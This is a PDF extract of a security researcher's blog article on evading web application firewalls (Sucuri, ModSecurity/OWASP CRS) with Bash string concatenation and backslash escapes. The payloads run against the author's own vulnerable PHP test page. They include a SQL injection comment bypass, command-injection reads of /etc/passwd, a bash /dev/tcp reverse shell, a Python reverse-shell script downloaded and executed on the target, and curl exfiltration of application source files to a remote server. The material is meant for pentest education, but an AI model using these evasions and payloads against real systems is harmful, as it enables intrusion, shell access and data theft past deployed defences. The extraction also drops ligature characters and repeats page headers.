Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer...

10
theMiddle Follow Security Researcher Jan 3 · 9 min read Web Application Firewall (WAF) Evasion Techniques #2 String concatenation in a Remote Command Execution payload makes you able to bypass rewall rules (Sucuri, ModSecurity) In the rst part of WAF Evasion Techniques, we’ve seen how to bypass a WAF rule using wildcards and, more specically, using the question mark wildcard. Obviously, there are many others ways to bypass a WAF Rule Set and I think that each attack has their specic evasion technique. For example: using comment syntax inside a SQL Injection payload could bypass many lters. I mean instead using union+select you can use something like: /?id=1+un/**/ion+sel/**/ect+1,2,3-- This is a great technique, and it works well when the target WAF has a low paranoia level that allows asterisk * and hyphen characters. This should works just for SQL Injection and it can’t be used in order to exploit a Local File Inclusion or a Remote Command Execution. For some specic scenarios, there’s “a real nightmare” for a WAF that need to protect a web application from Remote Command Execution attacks… it’s called concatenated strings. If you want to practice with some of these evasion techniques, recently I’ve created FluxCapacitor, an intentionally vulnerable virtual machine

Transcript of Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer...

Page 1: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

theMiddle Follow

Security ResearcherJan 3 · 9 min read

Web Application Firewall (WAF) EvasionTechniques #2String concatenation in a Remote Command Executionpayload makes you able to bypass �rewall rules (Sucuri,ModSecurity)

In the �rst part of WAF Evasion Techniques, we’ve seen how to

bypass a WAF rule using wildcards and, more speci�cally, using thequestion mark wildcard. Obviously, there are many others ways to

bypass a WAF Rule Set and I think that each attack has their speci�c

evasion technique. For example: using comment syntax inside a SQL

Injection payload could bypass many �lters. I mean instead using

union+select you can use something like:

/?id=1+un/**/ion+sel/**/ect+1,2,3--

This is a great technique, and it works well when the target WAF has alow paranoia level that allows asterisk * and hyphen characters.

This should works just for SQL Injection and it can’t be used in orderto exploit a Local File Inclusion or a Remote Command Execution.

For some speci�c scenarios, there’s “a real nightmare” for a WAF that

need to protect a web application from Remote Command Execution

attacks… it’s called concatenated strings.

If you want to practice with some of these evasion techniques, recently

I’ve created FluxCapacitor, an intentionally vulnerable virtual machine

Page 2: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

at hackthebox. This article don’t contain any hint to solve the speci�c

scenario of FluxCapacitor but could improve your knowledge about this

technique.

ConcatenationIn many programming languages, string concatenation is a binary in�x

operator. The + (plus) operator is often overloaded to denote

concatenation for string arguments: "Hello, " + "World" has the

value "Hello, World" . In other languages there is a separate operator,

particularly to specify implicit type conversion to string, as opposed to

more complicated behavior for generic plus. Examples include  . in

Perl and PHP,  .. in Lua, etc… For example:

$ php -r 'echo "hello"." world"."\n";' hello world

$ python -c 'print "hello" + " world"' hello world

But if you’re thinking that this is the only way to concatenate strings,

you’re absolutely wrong monsieur �

In a few languages like notably C, C++, Python, and the scripting

languages / syntax which can be found in Bash, there is something

called string literal concatenation, meaning that adjacent string

literals are concatenated, without any operator: "Hello, " "World"

has the value "Hello, World" . This works not only for printf and echo

commands, but for the whole bash syntax. Let start from the beginning.

Each one of the following commands have the same result:

# echo test # echo 't'e's't # echo 'te'st # echo 'te'st'' # echo 'te'''st'' # python -c 'print "te" "st"'

Concatenated strings test using Bash and Python

Page 3: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

This happens because all adjacent string literals are concatenated in

Bash. In fact 'te's't' is composed of three strings: the string te ,

the string s and the string t . This syntax could be used to bypassa �lter (or a WAF rule) that is based on “match phrases” (for example,

the pm operator in ModSecurity).

The Rule SecRule ARGS "@pm passwd shadow groups"… in ModSecurity

will block all requests containing passwd or shadow . But what if we

convert them to pa'ss'wd or sh'ad'ow ? Like the SQLi syntax we’ve

seen before, that split a query using comments, here too we can split

�lenames and system commands using the single quote ' and

creating groups of concatenated strings. Of course, you can use a

concatenated string as an argument of any command but not only…

Bash allows you to concatenate path even for execution!

A few examples of the same command:

$ /bin/cat /etc/passwd $ /bin/cat /e'tc'/pa'ss'wd $ /bin/c'at' /e'tc'/pa'ss'wd $ /b'i'n/c'a't /e't'c/p'a's's'w'd'

Now, let’s say that you’ve discovered a remote command executionon the url parameter of your application. If there’s a rule that blocks

phrases like “etc, passwd, shadow, etc…” you could bypass it with

something like this:

curl .../?url=;+cat+/e't'c/pa'ss'wd

It’s time to make some tests! I’ll use the following PHP code in order to

test it, as usual, behind Sucuri WAF and ModSecurity. Probably,

reading this code, you’ll think that it’s too much stupid and simple and

that no one uses curl inside a system() function instead of using the

PHP curl functions… If you think it, you live in a better world thanmine! :) You would be surprised at how many times I read this kind of

thing inside source code of applications in production. The PHP code

that I’ll use is:

Using a concatenated string as an argument of cat command or as a path for the cat executable

Page 4: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

<?php

if ( isset($_GET['zzz']) ) { system('curl -v '.$_GET['zzz']); }

Having fun with Sucuri WAFI think that someone at Sucuri will delete my account soon after this

two articles � But, I swear: I use Sucuri WAF for a comparison with

my ModSecurity, not because I think that one is better than otherone. Sucuri has a great service and I use it as an example just because

it’s widely used and all their users, reading this article, could test better

this techniques on their web applications.

First of all, I try to use this PHP application in order to get the response

body of google.com without encoding the parameter’s value:

curl -v 'http://test1.unicresit.it/?zzz=google.com'

It works as expected, google.com 302 page says that I should follow the

location www.google.de (google rightly geolocalize my server at

Frankfurt):

Now, there’re many things that I could do in order to exploit this

vulnerable application. One of this thing is to break the curl syntax

with a semicolon  ; and try to execute others system commands.

Sucuri gets angry when I try to read the /etc/passwd �le… For

example:

curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'

Page 5: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

went blocked by Sucuri WAF for the following reason: “An attempted

RFI/LFI was detected and blocked”. I think (just a supposition, because

users can’t see the details of a Sucuri WAF rule) that the Sucuri

“RFI/LFI Attempt” rule uses something like the “match phrases” that

we’ve seen before, with a list of common path and �lenames like

etc/passwd . This WAF has a very minimalist rule set and a very low

“paranoia level” that allows me to bypass this rule using just twosingle quotes!

curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"

I know what you’re thinking: “Ok, you can read the passwd �le

bypassing all WAF’s rule set… but the real, biggest, most important and

mother of all questions is: can you get a shell even Sucuri WAF is

active and protect your application?” natürlich yes! The only problem

is that we can’t use netcat, because it isn’t installed on the target

container and yes: I’ve checked it using the remote command

execution :)

$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls" /bin/ls

$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"

$

The easiest way (with few special characters that could be blocked by

WAF) is to use the bash -i command: bash -i >&

/dev/tcp/1.1.1.1/1337 0>&1 , but unfortunately is too complicated to

Sucuri WAF evasion using two single quote

Page 6: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

bypass all rule set with this payload, and this means that it’ll be hard to

use some PHP, Perl or Python code in order to obtain it. Sucuri WAF

blocks my attempts with this reason: Obfuscated attack payloaddetected. Cool! isn’t it?

Instead of trying to get a shell by executing directly on the vulnerable

parameter, I can try to upload a Python reverse shell to a writable

directory using curl or wget . First, prepare the python code vi

shell.py :

#!/usr/bin/python

import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("<my ip address>",2375)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

Then expose a webserver reachable from the target, as usual using

python -c SimpleHTTPServer or php -S , etc… Then download the

shell.py �le from the target website, I’ve used the following syntax:

curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'

Ok, Sucuri WAF hasn’t blocked this request, but usually ModSecurity

blocks this kind of shit :) If you want to be sure to bypass all “match

phrases” rule types, you could use wget + ip-to-long conversion +

string concatenation:

shell uploaded using curl

python reverse shell thru the Sucuri WAF

Page 7: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

.../?zzz=wg'e't 168431108 -P tmp

.../?zzz=c'hm'od 777 -R tmp

.../?zzz=/t'm'p/index.html

The �rst command uses wget to download the shell �le in /tmp/ . The

second one uses chmod to make it executable and the third executes it.

As you can see, there isn’t a speci�c �le on the wget command request,

so the downloaded �le is named index.html by wget . You could expose

this �le using netcat nc by writing the response headers and response

body by hand, something like this:

Now the hardest part…

Bypass ModSecurity and the OWASP CoreRule SetProbably you’re thinking that with a low paranoia level you could

bypass the OWASP Core Rule Set with this techniques as we’ve seen on

the �rst article… hmm basically no. This because of two little things

called normalizePath and cmdLine. In ModSecurity they are called

“transformation function” and are used to alter input data before it is

used in matching (for example, operator execution). The input data is

never modi�ed. ModSecurity will create a copy of the data, transform

it, and then run the operator against the result.

normalizePath: It removes multiple slashes, directory self-references,

and directory back-references (except when at the beginning of the

input) from input string.

cmdLine: will break all your pentester dreams :) developed by Marc

Stern, this transformation function avoids using escape sequences by

normalizing the value of parameters and triggering all rules like LFI,

RCE, Unix Command, etc… For example /e't'c/pa'ss'wd is

Using netcat to answer the HTTP request from RCE

Page 8: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

normalized to /etc/passwd before any rule evaluation. It does a lot of

things! like:

deleting all backslashes \

deleting all double quotes "

deleting all sigle quotes '

deleting all carets ^

deleting spaces before a slash /

deleting spaces before an open parentheses (

replacing all commas  , and semicolon  ; into a space

replacing all multiple spaces (including tab, newline, etc.) into one

space

transform all characters to lowercase

All attempts to exploit the RCE with a concatenated string are blocked

by the rule 932160 because of the cmdLine transformation function:

Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"

"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"

"ruleId":"932160"

Ok, I can’t read /etc/passwd but don’t despair! The OWASP Core Rule

Set knows commons �les, paths, and commands in order to block them

but it can’t do the same with the source code of the targetapplication. I can’t use the semicolon  ; character (and it means that I

can’t break the curl syntax) but I can use curl in order to ex�ltrate

�les and send it to my remote server. This will work with a paranoia

level from 0 to 3.

The trick is to send �les to a remote server in the request body of a

POST HTTP request, and curl can do it by using the data parameter

-d :

curl -d @/<file> <remote server>

Following the request, encoding @ to %40 :

Page 9: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"

All this will not work if the target has a paranoia level set to 4 because

the payload contains characters like hyphen, forward slash, etc… The

good news is that a paranoia level of 4 is really rare to �nd in a

production environment.

Backslash is the new single quote :)The same technique works using the backslash \ character too. This is

not a concatenation string but just an escape sequence:

That’s all for now. So long and thanks for all the �sh!

-theMiddle

Useful linksBypass a WAF by Positive Technologyhttps://www.ptsecurity.com/upload/corporate/ww-en/download/PT-

devteev-CC-WAF-ENG.pdf

Web Application Firewalls: Attacking detection logic mechanisms by

Vladimir Ivanov (blackhat USA 2016)

https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-

Application-Firewalls-Analysis-Of-Detection-Logic.pdf

ex�ltrate a PHP �le from target application (behind ModSecurity) to a remote server

Page 10: Web Application Firewall ( WAF) Evasion - exploit-db.com · theMiddle Follow Security Res e archer Jan 3 · 9 min re ad Web Application Firewall ( WAF) Evasion Techniques #2 String

SQLi bypassing WAF on OWASP by Dhiraj Mishrahttps://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF

Thanks toAll HTB users that shared with me their approach to FluxCapacitor and

notably: arkantolo, snowscan, decoder, phra

ContactsAndrea (theMiddle) Menin

Twitter: https://twitter.com/Menin_TheMiddle

GitHub: https://github.com/theMiddleBlue

Linkedin: https://www.linkedin.com/in/andreamenin/